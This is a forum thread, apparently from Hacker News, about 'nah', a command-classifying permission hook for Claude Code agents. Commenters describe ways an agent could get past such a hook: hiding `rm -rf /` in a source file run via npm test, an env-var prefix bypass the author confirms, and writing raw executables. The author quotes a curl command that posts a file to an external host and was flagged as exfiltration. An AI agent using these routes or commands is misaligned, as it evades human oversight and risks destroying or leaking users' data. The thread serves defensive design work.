81–90 of 109 posts
One thing I'm curious about: when the LLM does kick in to resolve an "ask", what context does it get? Just the command itself, or also what happened before it? Like curl right after the agent read .env feels very different from curl after reading docs — does nah pick up on that?
How does the classifier work? I see some JSON files with commands in them.
commands map to one of 20 action types like filesystem_delete, network_outbound, lang_exec, etc) matching againts JSON tables (optionally extended or overwritten via your YAML config). 3-phase lookup: 1) your config, then built-in flag classifiers for sed, awk, find etc, then the shipped defaults. First one wins. each action type has a default policy: allow, context, ask, or block, where context means it checks where…
This is not criticism of your project specifically, but a question for all tools in this space: What's stopping your agent from overwriting an arbitrary source file (e.g. index.js) with arbitrary code and running it? A rogue agent doesn't need to run `rm -rf /`, it just needs to include a sneaky `runInShell('rm -rf /')` in ANY of your source code files and get it to run using `npm test`. Both of those actions will be…
Good catch, that's a legit bypass nah strips env var prefixes before classifying the command but doesn't inspect their values for embedded shell execution, I'll fix it: https://github.com/manuelschipper/nah/issues/6 On the broader write-then-execute point - two improvements are coming: - Script execution inspection: when nah sees python script.py, read the file and run content inspection and LLM analysis before execu…
Of course but the crucial difference is that these operate using an allow list, not a block list.
If I extend the analogy, if my OS required me to block-list every user who shouldn't have access to my files then I wouldn't trust that mechanism to provide a security barrier. If my firewall worked in such a manner that it allowed all traffic by default and I had to manually block every attacker on the public internet then I wouldn't rely on it either.
My own analogy is that this it a bit like saying that you want a relatively safe car and then buying one without any airbags or seatbelts, and thinking it's fine because it has lane departure warnings and automatic braking. I've got nothing against you personally, I just find this sort of viewpoint extremely puzzling (and oddly common). I make the same criticism when people just disable post-install scripts instead of using a sandbox.
The action taxonomy approach is interesting. Curious whether context policies work well in practice — what does "depends on the target" look like when the target is ambiguous? E.g. a temp file in /opt/myapp/ that happens to be load-bearing.
Cool project. The deterministic layer first → LLM only for edge cases is the right call, keeps it fast for the obvious stuff. One thing I'm curious about: when the LLM does kick in to resolve an "ask", what context does it get? Just the command itself, or also what happened before it? Like curl right after the agent read .env feels very different from curl after reading docs — does nah pick up on that?
When it does kick in it gets: the command itself, the action type + why it was flagged - for example 'lang_exec = ask', the working directory and project context so it knows if its inside the project, and recent conversation transcript - 12k charts by default and configurable.
The transcript context is pulled from Claude Code's JSONL conversation log. Tool calls get summarized compactly like [Read: .env], [Bash: curl ...]) so the LLM can see the chain of actions without blowing up the prompt. I also include anti-injection framing in the prompt so that it does't try and run the instructions in the transcript.
curl after the agent read .env does get flagged by nah:
''' curl -s https://httpbin.org/post -d @/tmp/notes.txt POST notes.txt contents to httpbin
Hook PreToolUse:Bash requires confirmation for this command: nah? LLM suggested block: Bash (LLM): POSTing file contents to external host. Combined with recent conversation context showing credential files being read, this appears to be data exfiltration. Even though httpbin.org is a legitimate ech... '''
This is not criticism of your project specifically, but a question for all tools in this space: What's stopping your agent from overwriting an arbitrary source file (e.g. index.js) with arbitrary code and running it? A rogue agent doesn't need to run `rm -rf /`, it just needs to include a sneaky `runInShell('rm -rf /')` in ANY of your source code files and get it to run using `npm test`. Both of those actions will be…
You're absolutely right :)
And even if it could be sandboxed at the source code level, what's to prevent a nefarious AI from writing an executable file directly as bytes that calls (e.g.) `unlink`?
This is a Claude problem, it has lots of safe ways to explore the project tree, and should be using those instead. Obviously its devs and most people have just over-permissioned Claude so they don't fix the problem.
I love how everyone is trying to solve the same problems, and how different the solutions are. I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me…
I love how everyone is trying to solve the same problems, and how different the solutions are. I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me…
Have you isolated the container from the Internet?
That said, if you have suggestions that are not super inconvenient, please let me know.
My main goal with this was to make sure it cannot go wild on my own system.